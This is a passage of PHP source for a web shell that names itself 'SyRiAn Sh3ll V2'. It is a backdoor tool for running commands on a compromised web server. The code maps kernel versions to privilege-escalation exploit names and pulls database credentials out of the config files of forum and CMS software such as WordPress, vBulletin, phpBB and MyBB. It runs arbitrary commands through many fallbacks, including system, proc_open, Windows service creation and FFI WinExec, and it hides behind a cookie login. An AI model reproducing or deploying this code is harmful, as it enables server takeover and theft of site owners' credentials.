ong_bak','2.2.25'=>'mremap_pte','2.2.24'=>'ptrace','2.2.'=>'rip, ptrace'); foreach($db as $k=>$x)if(strstr($v,$k))return $x; if(!$xpl)$xpl='Not found.'; return $xpl; } function PostgreSQL() { if(@function_exists('pg_connect')) { $postgreSQL = "On"; } else { $postgreSQL = "Off"; } return $postgreSQL; } function Oracle() { if(@function_exists('ocilogon')) { $oracle = "On"; } else { $oracle = "Off"; } return $oracle; } function MsSQL() { if(@function_exists('mssql_connect')) { $msSQL = "On"; } else { $msSQL = "Off"; } return $msSQL; } function MySQL2() { $mysql_try = function_exists('mysql_connect'); if($mysql_try) { $mysql = "0N"; } else { $mysql = "0ff"; } return $mysql; } function Gzip() { if (function_exists('gzencode')) { $gzip = "ON"; } else { $gzip = "Off"; } return $gzip; } function MysqlI() { if (function_exists('mysqli_connect')) { $mysqli = "ON"; } else { $mysqli = "Off"; } return $mysqli; } function MSQL() { if (function_exists('msql_connect')) { $mSql = " ON "; } else { $mSql = "Off"; } return $mSql; } function SQlLite() { if (function_exists('sqlite_open')) { $SQlLite = "ON"; } else { $SQlLite = "Off"; } return $SQlLite; } function RegisterGlobals() { if(ini_get('register_globals')) { $registerg="On"; } else { $registerg="Off"; } return $registerg; } function HardSize($size) { if($size >= 1073741824) { $size = @round($size / 1073741824 * 100) / 100 . " GB"; } elseif($size >= 1048576) { $size = @round($size / 1048576 * 100) / 100 . " MB"; } elseif($size >= 1024) { $size = @round($size / 1024 * 100) / 100 . " KB"; } else { $size = $size . " B"; } return $size; } function Curl() { if(extension_loaded('curl')) { $curl = "On"; } else { $curl = "Off"; } return $curl; } function DecryptConfig() { @include("DecryptConfig.php"); if($_POST['ScriptType'] == 'vb') { $dbName = $config['Database']['dbname']; $prefix = $config['Database']['tableprefix']; $email = $config['Database']['technicalemail']; $host = $config['MasterServer']['servername']; $port = $config['MasterServer']['port']; $user = $config['MasterServer']['username']; $pass = $config['MasterServer']['password']; $admincp = $config['Misc']['admincpdir']; $modecp = $config['Misc']['modcpdir']; } elseif($_POST['ScriptType'] == 'wp') { $dbName = DB_NAME; $prefix = $table_prefix; $host = DB_HOST; $user = DB_USER; $pass = DB_PASS; } elseif($_POST['ScriptType'] == 'jos') { $dbName = $db; $prefix = $dbprefix; $email = $mailfrom; $host = $host; $user = $user; $pass = $password; } elseif($_POST['ScriptType'] == 'phpbb') { $host = $dbhost; $port = $dbport; $dbName = $dbname; $user = $dbuser; $pass = $dbpasswd; $prefix = $table_prefix; } elseif($_POST['ScriptType'] == 'ipb') { $host = $INFO['sql_host']; $dbName = $INFO['sql_database']; $user = $INFO['sql_user']; $pass = $INFO['sql_pass']; $prefix = $INFO['sql_tbl_prefix']; } elseif($_POST['ScriptType'] == 'smf') { $dbName = $db_name; $pass = $db_passwd; $prefix = $db_prefix; $host = $db_server; $user = $db_user; $email = $webmaster_email; } elseif($_POST['ScriptType'] == 'mybb') { $host = $config['database']['hostname']; $user = $config['database']['username']; $pass = $config['database']['password']; $dbName = $config['database']['database']; $prefix = $config['database']['table_prefix']; $admincp = $config['admin_dir']; $prefix = $config['database']['table_prefix']; } echo ' #-------------------------------# # Config Informations # #-------------------------------# Host : '.$host.' DB Name : '.$dbName.' DB User : '.$user.' DB Pass : '.$pass.' Prefix : '.$prefix.' Email : '.$email.' Port : '.$port.' ACP : '.$admincp.' MCP : '.$modecp.' '; } function footer() { echo '

[TOP] C0D3D By ~~ [ EH SyRiAn_34G13 ] ~~ [ sy34@msn.com ] ~~ [ www.syrian-shell.com ]

'; } function whereistmP() { $uploadtmp=ini_get('upload_tmp_dir'); $uf=getenv('USERPROFILE'); $af=getenv('ALLUSERSPROFILE'); $se=ini_get('session.save_path'); $envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP'); if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp'; if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp'; if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp'; if(is_dir($uf) && is_writable($uf))return $uf; if(is_dir($af) && is_writable($af))return $af; if(is_dir($se) && is_writable($se))return $se; if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp; if(is_dir($envtmp) && is_writable($envtmp))return $envtmp; return '.'; } function winshelL($command) { $name=whereistmP()."\\".uniqid('NJ'); win_shell_execute('cmd.exe','',"/C $command >\"$name\""); sleep(1); $exec=file_get_contents($name); unlink($name); return $exec; } function update() { echo "[+] Update Has D0n3 ^_^"; } function srvshelL($command) { $name=whereistmP()."\\".uniqid('NJ'); $n=uniqid('NJ'); $cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec']; win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\"")); win32_start_service($n); win32_stop_service($n); win32_delete_service($n); while(!file_exists($name))sleep(1); $exec=file_get_contents($name); unlink($name); return $exec; } function ffishelL($command) { $name=whereistmP()."\\".uniqid('NJ'); $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);"); $res=$api->WinExec("cmd.exe /c $command >\"$name\"",0); while(!file_exists($name))sleep(1); $exec=file_get_contents($name); unlink($name); return $exec; } function comshelL($command,$ws) { $exec=$ws->exec("cmd.exe /c $command"); $so=$exec->StdOut(); return $so->ReadAll(); } function perlshelL($command) { $perl=new perl(); ob_start(); $perl->eval("system(\"$command\")"); $exec=ob_get_contents(); ob_end_clean(); return $exec; } function Exe($command) { global $windows; $exec=$output=''; $dep[]=array('pipe','r');$dep[]=array('pipe','w'); if(function_exists('passthru')){ob_start();@passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();} elseif(function_exists('system')){$tmp=ob_get_contents();ob_clean();@system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;} elseif(function_exists('exec')){@exec($command,$output);$output=join("\n",$output);$exec=$output;} elseif(function_exists('shell_exec'))$exec=@shell_exec($command); elseif(function_exists('popen')){$output=@popen($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);} elseif(function_exists('proc_open')){$res=@proc_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);} elseif(function_exists('win_shell_execute'))$exec=winshelL($command); elseif(function_exists('win32_create_service'))$exec=srvshelL($command); elseif(extension_loaded('ffi') && $windows)$exec=ffishelL($command); elseif(extension_loaded('perl'))$exec=perlshelL($command); return $exec; } function magicQouts() { $mag=get_magic_quotes_gpc(); if (empty($mag)) { $mag = "0ff"; } else { $mag="0N"; } return $mag; } function DisableFunctions() { $disfun = ini_get('disable_functions'); if (empty($disfun)) { $disfun = "NONE"; } return $disfun; } $uname= @php_uname(); function SelectCommand($os) { if($os == 'Windows') { echo " "; } else { echo " "; } } function GenerateFile($name,$content) { $file = @fopen($name,"w+"); @fwrite($file,$content); @fclose($file); return true; } function Logout() { print""; } if($_GET['id']== 'logout') { Logout(); } # ---------------------------------------# # CSS # #----------------------------------------# echo " SyRiAn Sh3ll ~ V2~ [ B3 Cr34T!V3 Or D!3 TRy!nG ] "; if($_GET['id'] == '') { echo ""; } # ---------------------------------------# # Authentication # #----------------------------------------# if ($uselogin ==1) { if($_COOKIE["user"] != $user or $_COOKIE["pass"] != md5($pass)) { if($_POST[usrname]==$user and $_POST[passwrd]==$pass) { print''; } else { if($_POST[usrname]) { print''; } echo '

SyRiAn Sh3ll